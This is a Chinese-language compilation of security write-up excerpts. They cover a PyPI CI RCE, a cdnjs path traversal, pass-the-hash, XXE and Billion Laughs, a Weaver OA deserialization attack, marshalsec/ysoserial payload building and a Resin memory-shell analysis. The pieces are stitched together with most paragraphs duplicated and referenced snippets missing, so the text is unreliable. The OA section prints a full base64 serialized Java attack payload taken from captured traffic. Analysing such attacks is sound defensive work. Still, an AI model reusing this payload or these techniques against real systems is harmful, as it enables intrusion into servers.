PyPI 中潜在的远程代码执行
PyPI 存储库的 GitHub Actions 中存在一个漏洞,该漏洞允许恶意拉取请求执行任意命令。
这允许攻击者获取存储库的写入权限,从而导致在 pypi.org 上执行任意代码。
PyPI 是 Python 的包管理器 ( ) 使用的包注册表pip,在运行 等命令时会引用它pip install [package name]。
许多项目(包括Flask和TensorFlow)都在间接使用 PyPI。
从上面的代码片段可以看出,它使用list_objects_v2带有prefix参数的函数来获取要删除的对象。
并将用户拥有的项目的名称传递到prefix参数中。
这意味着如果有人删除了名为 的项目中的遗留文档examp,它将删除名称以 开头的项目的文档examp(example例如exampleasdf)
PyPI 存储库的 GitHub Actions 中存在一个漏洞,该漏洞允许恶意拉取请求执行任意命令。
这允许攻击者获取存储库的写入权限,从而导致在 pypi.org 上执行任意代码。
PyPI 是 Python 的包管理器 ( ) 使用的包注册表pip,在运行 等命令时会引用它pip install [package name]。
许多项目(包括Flask和TensorFlow)都在间接使用 PyPI。
从上面的代码片段可以看出,它使用list_objects_v2带有prefix参数的函数来获取要删除的对象。
并将用户拥有的项目的名称传递到prefix参数中。
这意味着如果有人删除了名为 的项目中的遗留文档examp,它将删除名称以 开头的项目的文档examp(example例如exampleasdf)
Cloudflare 的 cdnjs 中存在远程代码执行
cdnjs是 Cloudflare 旗下的一个 JavaScript/CSS 库 CDN,截至 2021 年 7 月 15 日,互联网上 12.7% 的网站都在使用它。这是继 12.8% 2的Google Hosted Libraries
之后使用范围第二广的库 CDN ,考虑到目前的使用率,它将在不久的将来成为使用最广泛的 JavaScript 库 CDN。
自动更新功能通过下载用户管理的 Git 存储库 / npm 包并从中复制目标文件来更新库。
并且 npm 注册表将库压缩到 中.tgz以使其可下载。
由于这个自动更新工具是用 Go 编写的,我猜测它可能使用 Go 的compress/gzip和archive/tar来提取存档文件。Go
的archive/tar返回存档中包含的文件名而不进行清理3,因此如果根据从 返回的文件名将存档提取到磁盘中archive/tar,则包含类似文件名的存档../../../../../../../tmp/test可能会覆盖系统上的任意文件。4从cdnjs/bot-ansible
中的信息,我知道有些脚本在定期运行,并且运行命令的用户对它们具有写权限,所以我专注于通过路径遍历覆盖文件。
cdnjs是 Cloudflare 旗下的一个 JavaScript/CSS 库 CDN,截至 2021 年 7 月 15 日,互联网上 12.7% 的网站都在使用它。这是继 12.8% 2的Google Hosted Libraries
之后使用范围第二广的库 CDN ,考虑到目前的使用率,它将在不久的将来成为使用最广泛的 JavaScript 库 CDN。
自动更新功能通过下载用户管理的 Git 存储库 / npm 包并从中复制目标文件来更新库。
并且 npm 注册表将库压缩到 中.tgz以使其可下载。
由于这个自动更新工具是用 Go 编写的,我猜测它可能使用 Go 的compress/gzip和archive/tar来提取存档文件。Go
的archive/tar返回存档中包含的文件名而不进行清理3,因此如果根据从 返回的文件名将存档提取到磁盘中archive/tar,则包含类似文件名的存档../../../../../../../tmp/test可能会覆盖系统上的任意文件。4从cdnjs/bot-ansible
中的信息,我知道有些脚本在定期运行,并且运行命令的用户对它们具有写权限,所以我专注于通过路径遍历覆盖文件。
mimikatz sekurlsa::pth底层原理
大家应该对NTLM SSP认证的Challenge / Response机制很熟悉,简单复习一下
NTLM的type3会有以下几种response:
•LM Response
•LMv2 Response
•NTLMv1 Response
•NTLMv2 Response
•NTLMv2 Session Response (NEGOTIATE_EXTENDED_SESSION_SECURITY )
这几种响应的计算都仅需要challenge和hash (v2会有额外的nonce)作为入参,于是就有了pass the hash这种攻击方式,LSASS和SAM中都存储着hash,攻击者拿到hash便可完成NTLM认证过程
大家应该对NTLM SSP认证的Challenge / Response机制很熟悉,简单复习一下
NTLM的type3会有以下几种response:
•LM Response
•LMv2 Response
•NTLMv1 Response
•NTLMv2 Response
•NTLMv2 Session Response (NEGOTIATE_EXTENDED_SESSION_SECURITY )
这几种响应的计算都仅需要challenge和hash (v2会有额外的nonce)作为入参,于是就有了pass the hash这种攻击方式,LSASS和SAM中都存储着hash,攻击者拿到hash便可完成NTLM认证过程
一开始通过此处上传doc文档的功能,发现了一枚XXE注入,提交后厂商进行修复,但复测后发现其修复的结果就是黑名单SYSTEM关键词,没办法通过带外通道读取敏感数据了~
抱着试一试的心态将Billion Laughs的Payload放入到doc文档中(这里与XXE doc文档制作方式一样修改[Content_Types].xml文件,重新打包即可)
抱着试一试的心态将Billion Laughs的Payload放入到doc文档中(这里与XXE doc文档制作方式一样修改[Content_Types].xml文件,重新打包即可)
HVV行动之某OA流量应急
写在前面
朋友在2021年HVV中作为防守方抓到了一段流量,刚开始没有太过于在意,随后在t00ls论坛中也发现了这段流量,随即觉得事情并不简单。
触发点
根据流量可以得知路由为/services%20/WorkflowServiceXml,我随即查看了该OA的web.xml。
发现了相关类为weaver.workflow.webservices.WorkflowServiceXml、weaver.workflow.webservices.WorkflowServiceImplXml。
关于类的东西先放到一旁,毕竟路由是否真实存在、%20有什么意义才是重点。我开始验证路由的存在。这里我测试了两个版本。
写在前面
朋友在2021年HVV中作为防守方抓到了一段流量,刚开始没有太过于在意,随后在t00ls论坛中也发现了这段流量,随即觉得事情并不简单。
触发点
根据流量可以得知路由为/services%20/WorkflowServiceXml,我随即查看了该OA的web.xml。
发现了相关类为weaver.workflow.webservices.WorkflowServiceXml、weaver.workflow.webservices.WorkflowServiceImplXml。
关于类的东西先放到一旁,毕竟路由是否真实存在、%20有什么意义才是重点。我开始验证路由的存在。这里我测试了两个版本。
接下来就是寻找gadget了。
由于并没有完整源码,只有部分github源码,不能确定gadget,先使用URLDNS试试。
组合我们的模板试试。
这里涉及到实体编码问题,作为懒人直接选择整体编码算了。
随后dnslog成功收到请求。
由于并没有完整源码,只有部分github源码,不能确定gadget,先使用URLDNS试试。
组合我们的模板试试。
这里涉及到实体编码问题,作为懒人直接选择整体编码算了。
随后dnslog成功收到请求。
0x05 marshalsec和ysoserial的联姻
大部分人都把marshalsec当做一个快速JNDI服务器的工具,其实它也有其他功能,比如生成XStream的payload就很好。
问题在于marshalsec内置的gadget全都需要出网,这一点儿也不符合我这个完美主义者的实战需求,需要出网的payload那是实验室黑客才需要的。那么既然ysoserial内置了不需要出网的gadget,可以结合起来吗?当然可以!
新建一个idea项目,将marshalsec和ysoserial都引入classpath作为依赖。然后重写marshalsec.XStream,一个字也不要改。
大部分人都把marshalsec当做一个快速JNDI服务器的工具,其实它也有其他功能,比如生成XStream的payload就很好。
问题在于marshalsec内置的gadget全都需要出网,这一点儿也不符合我这个完美主义者的实战需求,需要出网的payload那是实验室黑客才需要的。那么既然ysoserial内置了不需要出网的gadget,可以结合起来吗?当然可以!
新建一个idea项目,将marshalsec和ysoserial都引入classpath作为依赖。然后重写marshalsec.XStream,一个字也不要改。
流量的解密
书归正传,朋友抓到的流量到底对服务器干了啥?我们来看看
可以判断使用了CommonsBeanutils和CC3的gadget。
这段流量以yv66vgAAAD开头可以判断是base64的序列化payload,尝试对流量整理,得到下面的流量。
yv66vgAAADIANgoACgAkBwAlCAAmCgACACcIACgKACkAKgoAAgArBwAsBwAtBwAuAQAGPGlujXI7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcALAEAClNvdXJjZUZpbGUBABBMb2dpbkZpbHRlci5qYXZhDAALAAwBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0BAB9EOlxXRUFWRVJcZWNvbG9neVxjc3NcbG9naW4uY3NzDAALADABAAVsb2dpbgcAMQwAMgAzDAA0ADUBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARUmVzaW4vTG9naW5GaWx0ZXIBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAQamF2YS9sYW5nL1N0cmluZwEACGdldEJ5dGVzAQAEKClbQgEABXdyaXRlAQAFKFtCKVYAIQAJAAoAAAAAAAQAAQALAAwAAQANAAAALwABAAEAAAAFKrcAAbEAAAACAA4AAAAGAAEAAAAMAA8AAAAMAAEAAAAFABAAEQAAAAEAEgATAAIADQAAAD8AAAADAAAAAbEAAAAC
对其进行解码
不难看出写了个文件D:\WEAVER\ecology\css\login.css,内容应该是login12345
书归正传,朋友抓到的流量到底对服务器干了啥?我们来看看
可以判断使用了CommonsBeanutils和CC3的gadget。
这段流量以yv66vgAAAD开头可以判断是base64的序列化payload,尝试对流量整理,得到下面的流量。
yv66vgAAADIANgoACgAkBwAlCAAmCgACACcIACgKACkAKgoAAgArBwAsBwAtBwAuAQAGPGlujXI7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcALAEAClNvdXJjZUZpbGUBABBMb2dpbkZpbHRlci5qYXZhDAALAAwBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0BAB9EOlxXRUFWRVJcZWNvbG9neVxjc3NcbG9naW4uY3NzDAALADABAAVsb2dpbgcAMQwAMgAzDAA0ADUBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARUmVzaW4vTG9naW5GaWx0ZXIBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAQamF2YS9sYW5nL1N0cmluZwEACGdldEJ5dGVzAQAEKClbQgEABXdyaXRlAQAFKFtCKVYAIQAJAAoAAAAAAAQAAQALAAwAAQANAAAALwABAAEAAAAFKrcAAbEAAAACAA4AAAAGAAEAAAAMAA8AAAAMAAEAAAAFABAAEQAAAAEAEgATAAIADQAAAD8AAAADAAAAAbEAAAAC
对其进行解码
不难看出写了个文件D:\WEAVER\ecology\css\login.css,内容应该是login12345
一枚野生resin filter内存马调试
在对java恶意样本调试指南公众号中发布的jsp内存马进行分析之后,发现是一枚野生的resin filter内存马,做为面向github 编程的我,还没有找到公开的resin内存马,决定细细的盘一下该内存马的逻辑部分。
恶意代码为Overbrilliantly:包含了一个构造器、两个静态变量和 static 静态代码块
主要逻辑static静态代码块中,样本字符串解密如原文描述类似:”字符串加密为xor,长度为7,加密后的字符串第一位为本次待解密字符串的长度”。我们的目的是为了能够还原resin 内存马,debug 过程直接跳过解密过程,在关键部分进行断点。
在对java恶意样本调试指南公众号中发布的jsp内存马进行分析之后,发现是一枚野生的resin filter内存马,做为面向github 编程的我,还没有找到公开的resin内存马,决定细细的盘一下该内存马的逻辑部分。
恶意代码为Overbrilliantly:包含了一个构造器、两个静态变量和 static 静态代码块
主要逻辑static静态代码块中,样本字符串解密如原文描述类似:”字符串加密为xor,长度为7,加密后的字符串第一位为本次待解密字符串的长度”。我们的目的是为了能够还原resin 内存马,debug 过程直接跳过解密过程,在关键部分进行断点。
内存马的主要逻辑
该样本(resin)和其他容器filter 型内存马类似,创建 filter,添加 filterConfigImpl 实例,添加filterMapping 路由映射。
创建 filter
在反射加载完必要的依赖class之后,该样本调用 java.uti.Base64$decoder/javax.xml.bind.DatatypeConverter.parseBase64Binary对字符串 var17 进行解码;然后使用 defineClass 类加载器进行了加载,其中 var17 字符串就是样本构建的恶意filter类的base64编码,类名 PseudodramaticallyFilter。
该样本(resin)和其他容器filter 型内存马类似,创建 filter,添加 filterConfigImpl 实例,添加filterMapping 路由映射。
创建 filter
在反射加载完必要的依赖class之后,该样本调用 java.uti.Base64$decoder/javax.xml.bind.DatatypeConverter.parseBase64Binary对字符串 var17 进行解码;然后使用 defineClass 类加载器进行了加载,其中 var17 字符串就是样本构建的恶意filter类的base64编码,类名 PseudodramaticallyFilter。